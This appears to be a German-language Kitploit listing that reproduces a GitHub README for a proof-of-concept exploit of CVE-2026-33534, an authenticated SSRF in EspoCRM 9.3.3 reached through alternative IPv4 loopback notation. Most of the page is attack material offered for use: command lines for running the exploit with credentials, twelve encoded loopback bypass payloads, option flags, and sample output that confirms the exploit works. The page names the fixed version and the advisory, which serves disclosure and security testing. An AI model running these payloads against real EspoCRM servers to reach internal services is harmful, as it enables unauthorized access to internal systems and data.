Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-33534 — EspoCRM 9.3.3 - Authentifizierte SSRF über alternative IPv4-Notation | Kitploit
Tools/GitHubGitHub/entrovyx/cve-2026-33534
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstests
GitHubentrovyx/cve-2026-33534

CVE-2026-33534

EspoCRM 9.3.3 - Authentifizierte SSRF über alternative IPv4-Notation

Repository anzeigen
3vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-33534 - EspoCRM 9.3.3 Authentifiziertes SSRF

Authentifizierter SSRF-Proof-of-Concept für EspoCRM 9.3.3 über alternative IPv4-Loopback-Notation im /api/v1/Attachment/fromImageUrl-Endpunkt.

Zusammenfassung

EspoCRM 9.3.3 blockiert direkte Loopback-URLs wie http://127.0.0.1/..., aber der serverseitige Fetch-Pfad akzeptiert alternative IPv4-Darstellungen, die cURL zu Loopback normalisiert. Dies ermöglicht es einem authentifizierten Benutzer mit Zugriff auf den betroffenen Attachment-/Bild-Upload-Ablauf, den EspoCRM-Server zum Abrufen interner Ressourcen zu veranlassen.

Der Exploit sendet zunächst eine direkte 127.0.0.1-Kontrollanfrage und erwartet, dass diese mit HTTP 403 blockiert wird. Anschließend testet er mehrere codierte Loopback-Payloads und meldet, welche ein gespeichertes Attachment erzeugen.

Betroffene Version

  • Verwundbar: EspoCRM 9.3.3
  • Behoben: EspoCRM 9.3.4
  • Advisory: https://github.com/espocrm/espocrm/security/advisories/GHSA-h7gx-8gwv-7g73
  • CVE: CVE-2026-33534
  • CWE: CWE-918

Voraussetzungen

  • Python 3
  • requests
  • Gültige EspoCRM-Anmeldedaten
  • Berechtigung zur Nutzung des Ziel-Bild-/Attachment-Felds

Abhängigkeit installieren:

python3 -m pip install requests

Verwendung

Grundlegende lokale Validierung gegen eine EspoCRM-Instanz, die auf Port 8083 läuft:

python3 CVE-2026-33534.py \
  -u http://127.0.0.1:8083 \
  -U admin \
  -P 'Admin12345!' \
  --internal-port 8083 \
  --cleanup

Testen eines internen Dienstes auf einem benutzerdefinierten Port und Pfad:

python3 CVE-2026-33534.py \
  -u https://target.example \
  -U user \
  -P 'password' \
  --internal-port 9002 \
  --internal-path /interno.png \
  --cleanup

Nur benutzerdefinierte Payloads verwenden:

python3 CVE-2026-33534.py \
  -u https://target.example \
  -U user \
  -P 'password' \
  --no-default-payloads \
  --payload 0x7f000001 \
  --payload 2130706433

Standard-Payloads

Der Exploit testet standardmäßig diese Loopback-Host-Darstellungen:

0177.0.0.1
0177.0000.0000.0001
0177.1
0x7f.0.0.1
0x7f.0x0.0x0.0x1
0x7f000001
2130706433
017700000001
127.1
127.0.1
127.000.000.001
0000000000000000000000000177.0.0.1

Benutzerdefinierte Payload-Dateien werden unterstützt. Jede Zeile kann entweder sein:

host
label=host

Beispiel:

hex-dword=0x7f000001
decimal-dword=2130706433

Ausführen mit:

python3 CVE-2026-33534.py -u https://target.example -U user -P pass --payload-file payloads.txt

Optionen

-u, --url                 Basis-EspoCRM-URL
-U, --username            EspoCRM-Benutzername
-P, --password            EspoCRM-Passwort
--internal-port           Interner Loopback-Port, der abgerufen werden soll
--internal-path           Interner Pfad, der abgerufen werden soll
--payload                 Zusätzliche Loopback-Host-Notation
--payload-file            Datei mit einem Host-Payload pro Zeile
--no-default-payloads     Nur benutzerdefinierte Payloads verwenden
--field                   Attachment-Feld, Standard: avatar
--parent-type             Übergeordneter Entitätstyp, Standard: User
--parent-id               Optionale übergeordnete Entitäts-ID
--cleanup                 Von erfolgreichen Payloads erstellte Attachments löschen
--stop-on-first           Nach dem ersten erfolgreichen Bypass stoppen
--insecure                TLS-Zertifikatsprüfung deaktivieren

Erwartete Ausgabe

Eine erfolgreiche Ausnutzung zeigt die blockierte direkte Loopback-Kontrolle und ein oder mehrere akzeptierte codierte Payloads:

[*] Control response: HTTP 403 Not allowed URL.
[+] octal dotted             0177.0.0.1        HTTP 200 id=... type=image/svg+xml size=4438
[+] hex dword                0x7f000001        HTTP 200 id=... type=image/svg+xml size=4438

[+] Vulnerable behavior confirmed.
[+] Direct loopback control: HTTP 403
[+] Successful payloads: 12

Hinweise

  • Das Standard-PoC ruft /client/img/logo-light.svg vom eigenen Loopback-Listener des Ziels ab. Passen Sie --internal-port und --internal-path für einen anderen internen Dienst an.
  • Das Standardfeld ist User.avatar; verwenden Sie --field, --parent-type und --parent-id, wenn das getestete Konto einen anderen Upload-Kontext benötigt.
  • Verwenden Sie --cleanup während des Testens, um erstellte Attachments automatisch zu löschen.
Tool herunterladen